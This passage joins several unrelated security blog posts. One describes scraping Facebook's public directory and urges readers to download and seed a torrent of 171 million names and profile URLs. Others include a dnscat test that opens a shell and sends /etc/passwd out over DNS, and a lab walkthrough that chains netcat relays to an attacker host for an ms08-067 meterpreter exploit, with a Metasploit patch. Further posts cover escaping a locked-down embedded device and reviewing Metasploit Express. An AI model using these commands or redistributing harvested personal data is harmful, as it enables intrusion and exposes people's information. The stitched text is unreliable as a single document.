Once I have the name and URL of a user, I can view, by default, their picture, friends, information about them, and some other details. If the user has set their privacy higher, at the very least I can view their name and picture. So, if any searchable user has friends that are non-searchable, those friends just opted into being searched, like it or not! Oops :)

The lists

Which brings me to the next topic: the list! I wrote a quick Ruby script (which has since become a more involved Nmap Script that I haven't used for harvesting yet) that I used to download the full directory. I should warn you that it isn't exactly the most user friendly interface -- I wrote it for myself, primarily, I'm only linking to it for reference. I don't really suggest you try to recreate my spidering. It's a waste of several hundred gigs of bandwidth.

The results were spectacular. 171 million names (100 million unique). My original plan was to use this list to generate a list of the top usernames (based on first initial last name):

 129369 jsmith
  79365 ssmith
  77713 skhan
  75561 msmith
  74575 skumar
  72467 csmith
  71791 asmith
  67786 jjohnson
  66693 dsmith
  66431 akhan

Or first name last initial:

 100225 johns
  97676 johnm
  97310 michaelm
  93386 michaels
  88978 davids
  85481 michaelb
  84824 davidm
  82677 davidb
  81500 johnb
  77800 michaelc

Or even the top usernames based on first name dot last name (sorry, I can't link this one due to bandwidth concerns; but it's included in the torrent):

  17204 john.smith
   7440 david.smith
   7200 michael.smith
   6784 chris.smith
   6371 mike.smith
   6149 arun.kumar
   5980 james.smith
   5939 amit.kumar
   5926 imran.khan
   5861 jason.smith

Or even the most common first or last names:

 977014 michael
 963693 john
 924816 david
 819879 chris
 640957 mike
 602088 james
 584438 mark
 515686 jason
 503658 robert
 484403 jessica

 913465 smith
 571819 johnson
 512312 jones
 503266 williams
 471390 brown
 386764 lee
 360010 khan
 355639 singh
 343220 kumar
 324972 miller

So, those are the top 10 lists. But I'll bet you want everything!

The Torrent

But it occurred to me that this is public information that Facebook puts out, I'm assuming for search engines or whatever, and that it wouldn't be right for me to keep it private. Why waste Facebook's bandwidth and make everybody scrape it, right?

So, I present you with: a torrent! If you haven't download it, download it now! And seed it for as long as you can.

This torrent contains:

• The URL of every searchable Facebook user's profile
• The name of every searchable Facebook user, both unique and by count (perfect for post-processing, datamining, etc)
• Processed lists, including first names with count, last names with count, potential usernames with count, etc
• The programs I used to generate everything

So, there you have it: lots of awesome data from Facebook. Now, I just have to find one more problem with Facebook so I can write "Revenge of the Facebook Snatchers" and complete the trilogy. Any suggestions? >:-)

Limitations

So far, I have only indexed the searchable users, not their friends. Getting their friends will be significantly more data to process, and I don't have those capabilities right now. I'd like to tackle that in the future, though, so if anybody has any bandwidth they'd like to donate, all I need is an ssh account and Nmap installed.

An additional limitation is that these are only users whose first characters are from the latin charset. I plan to add non-Latin names in future releases.

I'd like to see a threefold class system.  The first class would entail an overview of the 10 Domains.  The second would be Offensive Security and the third would be Defensive Security.

There is a reason for that ordering.  Without a good understanding of the fundamentals of security (10 domains) the second two classes will have less value.  Understanding the idea of physical security as well as separation of duties and such really support defensive and offensive security.  Defenders are better when they understand the threats.  Therefore, I place Offensive Security before Defensive Security.  But that's preference.  You could teach them together and make it a two-part class (firewall defense/offense; Linux offense/defense and so forth).

Let's get back to class 1: Information Security Fundamentals.  Here are my general thoughts on how such a class could be arranged if I were to teach it.

I'd assign Shaun Harris' CISSP book.  Each week we would cover the 1 of the 10 domains.  On a MWF schedule, Monday would be the overview of the domain and a discussion of the critical questions that need to be asked about each domain.  Wednesday and Friday would be in depth discussion of the domain.

Because this is an overview class, each Monday the student would be required to have read the chapter covering the domain to be discussed that week.  The student would also write a two-page paper explaining the critical point of the domain discussed the week before.

In this manner, the goal would be to instill into the student a working understanding about the critical ideas of the domain.

I wouldn't make this a CS only class though.  One struggle IT faces is that the business units often purchase software or services that are poorly designed.  IT is then faced with the prospect and demand of fixing/defending dumb apps.  So, I'd make this course a business elective.

Business students would get 1-2 credits and attend Mondays only.  They would get the high level overview.  My pie-in-the-sky hope is that it would start to create an environment in which the business teams would ask generic security questions to sales guys and/or see through marketing lies.

A business student would write their two-page paper for the benefit of an IT staff.  This will hopefully help them improve communication with IT people.  As such the paper would be graded by an CS teacher.

The CS student would write their paper explaining the domain to a business person who doesn't really understand IT.  That paper would be graded by a business teacher.

At least the CS/Business teachers would give a grade and I would give a grade.  Hopefully, (again pie-in-the-sky) this improves ever so slightly the ability to communicate between specialties.

I might even require students to sign up for SANS alert emails and to find recent articles that discuss pro/con the domains we are discussing.  This idea is to keep students learning to read/research in a lifelong way and to encourage them to learn to see how the domains interact with real life.

Maybe in the future we can discuss more in depth the other classes, but for now, I'm leaving this here.  Maybe someone can tweak the general idea and improve it or just use it as is.

Do you have thoughts?

I just released the second alpha build of nbtool (0.05alpha2), and I'm hoping to get a few testers to give me some feedback before I release 0.05 proper. I'm pretty happy with the 0.05 release, but it's easy for me to miss things as the developer.

I'm hoping for people to test:

• Through different DNS servers (requires an authoritative DNS server)
• With different operating systems (doesn't require an authoritative server) -- I've tested it on Slackware 32-bit, Slackware 64-bit, FreeBSD 8 64-bit, and Windows 2003, those or others would be great!
• With different commandline options (also doesn't require authoritative server)

First off, grab the latest dnscat build from either the nbtool or the dnscat pages (it's the same file). Whether you build it from the source tarball, use the svn, or use the compiled versions, it's all good and let me know which you choose.

You can use the same machine for client/server, or put them on separate machines. Here are the important commands:

• Start the server: dnscat --listen
• Start the server that can handle multiple clients: dnscat --listen --multi
• Start a client with an authoritative nameserver: dnscat --domain <yourdomainname>
• Start a client without an authoritative nameserver: dnscat --dns <dnscatserver>
• Finally, check if you have an authoritative server: dnscat --test <yourdomainname>

Use the --help argument to find the different options. Although all the options could use a workout, I'm particularly interested in how well --exec and --multi function across different operating systems. You can also get a ton more documentation on the wiki page.

Things you can help me out with:

• Does it compile without warnings? Which OS?
• Does it run?
• Can the client/server communicate properly?
• Does running --exec /bin/sh (or --exec cmd.exe) on the client give you a shell on the server
• Does redirecting a bigger file (for example, dnscat --domain skullseclabs.org < /etc/passwd) work properly?
• Do different options you find with --help work the way they're described?
• Any other unexplained weirdness?

Feedback on any or all of those points would be awesome! Also, I'd love to hear any other feedback, bad news, good news, complaints, compliments, or anything of the sort. Either send me an email (my address is on the right) or leave a comment on this post.

Thanks for helping out!

We hired a new pair of co-op students recently. They're both in their last academic terms, and are looking for a good challenge and to learn a lot. So, for a challenge, I set up a scenario that forced them to use a series of netcat relays to compromise a target host and bring a meterpreter session back. Here is what the network looked like:

To describe in text:

• They have already compromised a Web server with a non-root account
• The Web server has no egress filtering, but full ingress filtering, and they aren’t allowed to install anything (fortunately, it already had Netcat)
• The target server has both egress and ingress filtering, and is not accessible at all from the Internet, but the Web server can connect to it on 139/445 (which are vulnerable to ms08-067). The target can also connect back to the Web server on any port.

The challenge was to exploit the target server with ms08-067 and bring a meterpreter session back to the attacker server.

I had expected this would require 3-4 netcat relays, but, after helping them to get this working, we ended up with 5 relays for a variety of reasons, plus a minor patch to Metasploit! Maybe we did it the hard way, and maybe we didn’t need all those relays, but it was fun to set up and satisfying to get working.

Anyway, I’ll let them explain what they did!

Five relays and a patch

The image below shows the various netcat relays we ended up using, in order of execution.

The first goal was to find a way to bypass the firewalls.  Metasploit was using default ports 445 for outgoing and 4444 for incoming connections, and since we can't connect to either of those ports on the Web Server (WEB), we needed the WEB to establish a connection back to us.  Fortunately WEB can connect to TARGET on port 445, and can receive a connection back on any port. Thus 2 netcats are running on the WEB are:

 nc HACKER 1234 -vv < pipe4 |  nc TARGET 445 -vv > pipe4

This command forwards the traffic coming in on port 1234 from the HACKER to TARGET port 445 (Relay #4).

 nc -l -p 4444 -vv < pipe2 | nc HACKER 4442 -vv > pipe2

This command listens for the meterpreter session back from TARGET on port 4444 and relays it to HACKER on port 4442 (Relay #2).

Why does WEB connect on arbitrary port 1234 instead of connecting to Metasploit's port 445? Well, Metasploit doesn't listen on that port, it needs to initiate the connection. So we need a netcat relay running on HACKER to listen for connection from Metasploit and connect it with the incoming connection from the WEB (Relay #3):

nc -l -p 1234 -vv < pipe3 | nc -l -p 445 > pipe3

As you might have noticed the WEB is  connecting back on port 4442, not 4444 on which Metasploit is listening (Relay #2). They cannot be connected directly, as WEB will establish connection immediately when it starts and Metasploit will get confused since its waiting on Meterpreter session and fail. So we need a relay listening on port 4442 on the HACKER and connecting it back to Metasploit, right? Well, not that simple.

 nc -l -p 4443 -vv < pipe1 | nc -l -p 4442 -vv > pipe1

This command will listen for incoming connection from WEB on port 4442 and relay it to port 4443 when that connection is established (Relay #1). This gives Metasploit time to trigger an exploit and we only establish a final connection to Metasploit  once it did by running a final command:

nc HACKER 4444 -vv < pipe5 | nc HACKER 4443 -vv > pipe

This simply establishes a connection to the relay running on the same computer on port 4443 and sends it to Metasploit on port 4444 (Relay #6).

The biggest challenge was getting the timing of the last command right. We needed to activate it after Metasploit starts listening for the reverse_tcp stager but before it sends stage data. If stage data was sent before the entire link was created,the vulnerability would be exploited, but the stage would fail. In order to get the timing right for the final command, a modification to the stager.rb in the lib/msf/core/payload/ folder was necessary. We added a three-second delay after the vulnerability has been triggered and before the stage data was sent in order to give us time to link the netcat relays together for the connection back.

This is the patch against the Metaploit version on the Backtrack 4 cd (it'll likely fail against the HEAD revision due to a number of changes):

Index: stager.rb
===================================================================
--- stager.rb   (revision 8091)
+++ stager.rb   (working copy)
@@ -100,6 +100,9 @@
                                p = (self.stage_prefix || '') + p
                        end

+            print_status("Delaying for three seconds (Start your nc relay).")
+            Kernel.sleep(3)
+
                        print_status("Sending stage (#{p.length} bytes)")

                        # Send the stage
@@ -164,4 +167,5 @@
        #
        attr_accessor :stage_prefix

Now that everything should be (theoretically) working, we had to make sure to start netcat relays in the right order to make sure they can establish connections, and we had to wait before executing #6 until #2 received a connection established message. The -vv command is optional for all nc instances except in #2, where they are used to determine when to execute #6. We first start all the listener relays and then start the relays that establish connections. The commands were executed in the order provided

1. This command is run on the HACKER:

nc -l -p 4443 -vv < pipe1 | nc -l -p 4442 -vv > pipe1

2. This command was run on the WEB:

nc -l -p 4444 -vv < pipe2 | nc HACKER 4442 -vv > pipe2

3. HACKER:

nc -l -p 1234 -vv < pipe3 | nc -l -p 445 > pipe3

4. WEB:

nc HACKER 1234 -vv < pipe4 | nc TARGET 445 -vv > pipe4

5. Now that we have a connection to the target we run an exploit:

./msfcli exploit/windows/smb/ms08_067_netapi
 PAYLOAD=windows/meterpreter/reverse_tcp RHOST=HACKER LHOST=WEB E

6. Last command is run on HACKER when Relay #2 displays a detected connection:

nc HACKER 4444 -vv < pipe5 | nc HACKER 4443 -vv > pipe

Here's the list of the biggest problems I encountered, in the order that I overcame them:

• The user account couldn't 'ls' most folders due to lack of privileges
• Process management tools (like ps) didn't work (thanks to the missing 'ls')
• The user account could only write to designated areas, in spite of file permissions
• Architecture was PowerPC, which I have no experience with
• netstat, ifconfig, arp, and other tools were disabled

I can't talk about how I actually obtained a shell, unfortunately, because the nature of the device would be too obvious. But I will say this: despite all their lockdowns, they accidentally left netcat installed. Oops :)

If you've been in similar situations and found some other tricks, I'd like to hear about them!

Implementing ls

Unfortunately, I was only able to obtain user access, not root. Despite permissions to the contrary, I couldn't run 'ls' against any system folders:

$ cd /
$ ls
/bin/ls: cannot open directory .: Permission denied
$ cd /bin
$ ls
/bin/ls: cannot open directory .: Permission denied
$ find /
/
$ find .
.

And so on. I could, however, run ls on /home/user, /tmp, and subfolders thereof.

As a side effect, I couldn't run the 'ps' command because it didn't have permission to read /proc:

$ ps
Error: can not access /proc.

But I'll get to that later.

After struggling a little, I was happy to discover that the 'which' command was enabled!

$ which ls
/usr/bin/ls
$ which ps
/usr/bin/ps

Great luck! I wrote a script on my personal laptop that would find every executable:

# find / -perm /0111 -type f |       # Find all executable files
  grep -v '^/home'           |       # Remove files stored on /home
  grep -v '\.so$'            |       # Remove libraries
  grep -v '\.a$'             |       # Remove libraries
  grep -v '\.so\.'           |       # Remove libraries
  sed 's|^.*/||'                     # Remove the path

And redirected the output from this script to a file. Then, I uploaded the file to the device using netcat and, after adding the sbin folders to the $PATH, I ran the following command:

$ export PATH=/sbin:/usr/sbin:/usr/local/sbin:$PATH
$ cat my-programs.txt | xargs which | sort | uniq > installed-programs.txt

Which returned a list that looked like:

$ head installed-programs.txt
bin/arch
/bin/bzip2recover
/bin/cpio
/bin/dmesg
/bin/fusermount
/bin/hostname
/bin/ipmask
/bin/kill
/bin/killall
/bin/login

And finally, if you want more information:

$ cat installed-programs.txt | xargs ls -l > installed-programs-full.txt

Which, of course, gives you this type of output:

$ head installed-programs-full
-rwxr-xr-x 1 root   root        2896 2008-03-31 16:56 /bin/arch
-rwxr-xr-x 1 root   root        7696 2008-04-07 00:42 /bin/bzip2recover
-rwxr-xr-x 1 root   root       52800 2007-04-07 12:04 /bin/cpio
-rwxr-xr-x 1 root   root        4504 2008-03-31 16:56 /bin/dmesg
-rwsr-xr-x 1 root   root       19836 2008-03-07 19:52 /bin/fusermount
-rwxr-xr-x 1 root   root        9148 2008-03-31 23:10 /bin/hostname
-rwxr-xr-x 1 root   root        3580 2008-03-31 23:10 /bin/ipmask
-rwxr-xr-x 1 root   root        8480 2008-03-31 16:56 /bin/kill
-rwxr-xr-x 1 root   root       14424 2006-12-19 18:07 /bin/killall
-rwxr-xr-x 1 root   root       44692 2008-03-24 15:11 /bin/login

Success! Now I have a pretty good idea of which programs are installed. I could collect samples from a wider variety of machines than just my laptop, potentially turning up more interesting applications, but I found that just the output from a single Linux system was actually a good enough sample to work with.

Remember, with the full 'ls -l' output, keep your eye out for 's' in the permissions. ;)

Implementing ps

As I mentioned earlier, the ps command fails spectacularly when you can't ls folders:

$ ps
Error: can not access /proc.

The first thing I tried was an experimental 'cat', which worked nicely:

$ cat /proc/1/status
Name:   init
State:  S (sleeping)
[...]

Which tells me that the /proc filesystem is there, and that I have access to their accounting information. The only reason I can't list them is because 'ls /proc' (or the equivalent thereof) is failing. An investigation also told me that /proc/cpuinfo and /proc/meminfo also exist, which were helpful. So, I threw together a quick script to bruteforce the list:

for i in `seq 1 100000`; do    # Take the first 100,000 PIDs
                               #(experimentally determined)
  if [ -f /proc/$i/status ]; then   # Check if the status file exists
    CMDLINE=`cat /proc/$i/cmdline | # Read the commandline
              sed 's/|//g' |        # Remove any pipes (will break things)
              sed "s/\x00/ /g"`;    # Replace null with space
    cat /proc/$i/status |           # Get the process details
      grep 'Name:'      |           # We only want the name
      cut -b7-          |           # Remove the prefix "Name:  "
      sed "s|$| ($CMDLINE)|";       # Add the commandline to the end
  fi;
done

The output for this will look like:

init (init [3]        )
kthreadd ()
[...]
udevd (/sbin/udevd --daemon )
syslogd (/usr/sbin/syslogd )
klogd (/usr/sbin/klogd -c 3 -x )

So now I have a pretty good list of the running processes. Win!

Another option would be to write a patch for procps that implements a bruteforce listing, but that was beyond what I really wanted to do.

Writing to protected areas

This one, I want to be careful with. The reason is, I don't understand what was happening, or why.

In any case, in spite of permissions, I couldn't write to most folders, including /home/user. How they locked it down, I don't know, but I can't touch, cat, grep, etc them.

After some poking, though, I discovered that I could rm files and read/write them using redirection. So, oddly, it would look like this:

$ touch test
touch: cannot touch `test': Permission denied
$ echo "TEST DATA" > test
$ cat test
cat: test: Permission denied
$ cat < test
TEST DATA
$ mv test test2
mv: cannot move `test' to `test2': Permission denied
$ cat < test > test2
$ rm test

That's all I can really say about that one. This bug let me write to some sensitive folders and modify settings I shouldn't have been able to.

PowerPC

The architecture of this device turned out to be PowerPC, which presented an interesting challenge. I've never done any cross compilation before, and I didn't even know where to start. So, I was going to skip it altogether.

Then, this past weekend, my friend brought over a device called WD HD Live. After installing Linux on it, I discovered that, like our old friend WRT54g, it had a MIPS core. So I took a couple hours out and learned how to cross compile for MIPS.

By Monday, I knew everything one or two things about cross compiliation, and was ready to get started! I downloaded Hobbit's Netcat from Debian and compiled it with the crosstool commands (note: I have *no* idea whether or not this is the right way to cross compile; all I know is, it worked :) ):

$ export PATH=/opt/crosstool/gcc-4.1.0-glibc-2.3.6/powerpc-860-linux-gnu/powerpc-860-linux-gnu/bin:$PATH
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10.orig.tar.gz
$ wget http://ftp.de.debian.org/debian/pool/main/n/netcat/netcat_1.10-38.diff.gz
$ tar -xvvzf netcat_1.10.orig.tar.gz
$ gunzip -v netcat_1.10-38.diff.gz
$ patch -p0 < netcat_1.10-38.diff
$ patch -p0 < netcat-1.10.orig/debian/patches/glibc-resolv-h.patch
$ cd netcat-1.10.orig
$ make linux CC=gcc

I successfully copied the new netcat to the device and ran it, to prove that the cross compile worked.

Obviously, using netcat to copy netcat to the device makes very little sense. But the point was to prove that cross compilation works, not that I could do something interesting with it.

No networking tools

Finally, I was dismayed to find out that netstat, ifconfig, arp, and others all returned a "Permission denied" error when I tried to run them. How am I supposed to figure out the system state without them?

Fortunately, none of them require setuid to run, so I downloaded the latest net-tools package, compiled it with the PowerPC toolchain, uploaded them with netcat, and tried them out:

$ ./netstat-ron -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 192.168.155.11:39002    192.168.155.105:3306     TIME_WAIT
tcp        0      0 192.168.155.11:41992    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:37288    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38736    192.168.155.105:3306     ESTABLISHED
tcp        0      0 192.168.155.11:38652    192.168.155.105:3306     ESTABLISHED

$ ./ifconfig-ron lo
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:1285090 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1285090 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:130762797 (124.7 MiB)  TX bytes:130762797 (124.7 MiB)

$ ./arp-ron
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.155.1            ether   00:0C:29:7E:21:63   C                     eth0
192.168.155.105          ether   00:50:56:C0:00:00   C                     eth0
192.168.155.144          ether   00:0C:29:42:B7:1B   C                     eth0

Done!

Conclusion

So, I managed to overcome the lockdown on the embedded device. Once I had shell I could do pretty anything I could normally do, in spite of the attempted lockdown. Therefore, I concluded that, in its current state, the lockdown was nearly useless.

I plan to work with the vendor, of course, to help them resolve these issues.

Now, your turn! Have you ever had to use makeshift tools on a locked down system? Any interesting stories?

This is just initial impressions of a beta product.

I've been playing with this for about a week now in an internal network.  I have a dedicated box running Ubuntu 10.04 and Metasploit Express.  I've noticed that Express loves CPU time but is much less caring about RAM.  It's also not multi-threaded.  I'd recommend a dual core box as Express will peg one core.  If you want to do anything else while Express is running, you need two cores. Still, Express does not require an expensive RAM build out. I've run top plenty of times and seen that the RAM usage remains low even when I've had 170+ shells running.  :-p  Hopefully, we'll get multi-threading down the road.  When multiple tasks are running simultaneously, this lack of multi-threading becomes an issue.  Everything slows to a crawl.

Anyway speed issues aside, Express is very slick.  The interface is clean and minimalistic.  At first, things are a little to minimalistic.  It took me a while to realize that I had tasks running; they appeared to start and finish, but had actually moved to the task list.  Express gives subtle hints about tasks running, sessions opened, and updated system information as seen in this screenshot (the blue circles with numbers).

There are a lot of features to talk about, but let me simplify it this way: As long as you are willing to run generic scans, exploits, etc, Express will simplify your pentesting.

Wait, don't go yet.  You can still do quite a bit with this.  (And from my communication with the developers, we will eventually receive the ability to tweak the defaults.) Let's suppose you want to see if anyone is running default usernames and passwords across a large organization.  Express will do that (and give you shell if possible).  Express handles large groups of repetitive tasks well.

Down the road, it would be nice if users can change the defaults if they see a need (maybe your AV picks up this particular default).  Still, as a general rule, the defaults are set because they work in most instances.  You may never need to change anything. (You can run specific modules from the Metasploit kit.)

There are times when the more advanced Metasploit features are needed.  These can be accessed from the console if you tell Metasploit to use the same Postgres DB.  I haven't got that working yet, probably user error.

Anyway, having played with this for a while now, I can't see it replacing my usual toolset.  I'm seldom given an internal IP to test and am seldom allowed to perform social engineering.  So, I'm not certain how much use this will be to me as my access usually starts with a website flaw (file upload, poor password) or router misconfiguration. Now if I could set up multi/handler, execute a payload (social engineering, file upload flaw or such), and then pivot into the organization..., well that would make a BIG difference.

I can see this being worth the price for anyone on an internal security team.  At the least, this will grab all the low hanging fruit and then will grant you the information you need to perform more in depth testing.

This is a good tool for those network admins who also wear the security hat.  They can run NeXpose or Nessus across their environment, import it into Express and demonstrate the need to fix these holes.

Check it out.  And once we leave beta, I'm hoping to write a full review about the various features.  Questions?  Drop me a line or post a comment and I'll see what I can answer for you.

There is a high likelihood that you will find this tool useful in your security testing work.

My boss passed around a document about database security in the cloud.  It raised issues about proper monitoring of the DB, but offered no solutions.

This got me thinking.  I hate it when that happens.  Its like an automatic "boss button" that I can't switch off.  /gah

For the sake of argument, let's assume we are discussing VMs hosted on some provider's (Amazon) VMWare ESX cluster.  This could really apply to any VM on any company's specific VM host, but VMWare is big, popular, and a good basis to work from.  Let's say, some marketing exec bought a package that would hold data on a machine in the cloud.  (You may shoot him later; right now, you have to deal with the issues of integration into your secure environment.)

Now let's suppose that you do not have enough machines to warrant a private cluster.  You will be sharing a cluster with unknown parties.  Fun!  (Ant-acid is found in aisle 5.)

After reading this document, my mind immediately ran to the story of Kevin Mitnick's hacked website.  You may recall that the headlines proclaimed that Mitnick was hacked, when that is only true in the strictest sense.  In reality, it was a shared host, and one of the other sites was running old code and was hacked.  That hack granted the attacker access to modify Mitnick's site.

OK, but are you really at risk this way?  We're talking about VMs here not shared hosting on a poorly configured LAMP stack.   But, surely you've heard of Guest -> Host exploits?  And since this is publicly obtainable software, one *could* setup a duplicate environment and fuzz away at it....  (Not that any entity would do that, of course.)

So theoretically, one of the other unknown/untrusted Guests could use a zero day exploit to compromise the Host.  Then they could compromise all of the co-located Guests on the box.  Cheery thought....  How would you know?  Since they are essentially performing a "man in the middle," the attacker could just watch your traffic and never touch your machine.  All of those techniques for modifying data on the wire come trudging depressingly back to mind.  You couldn't trust the data coming from the user or going to the user.

Further, if the ESX host is compromised, every machine that VMotioned over to it could be compromised.  Every machine that VMotioned off could then run the zero day against a new host.  This would get an entire cluster and possibly migrate to other clusters (though much less likely).

Now one might ask "how" a malicious user/competitor/etc would locate your server in Amazon's cloud and target your machine.  Cue stage right: a paper on doing that very thing (pdf).

So now we are looking at 1) an attacker can find your machine, 2) an attacker could instigate Guest -> Host exploits.  Are you still certain you want to put your data in the cloud?  Ugh.  I can't think of one good reason to do this on a public cloud hosting service.

I know that this is more of a theoretical post and not like Ron's usual posts detailing specific exploitation or research, but I'm interested in your comments.  Am I off base in this reasoning (has happened once or twice before - according to my wife anyway).  What are your thoughts?  Is it worse than I suspect or am I over-reacting?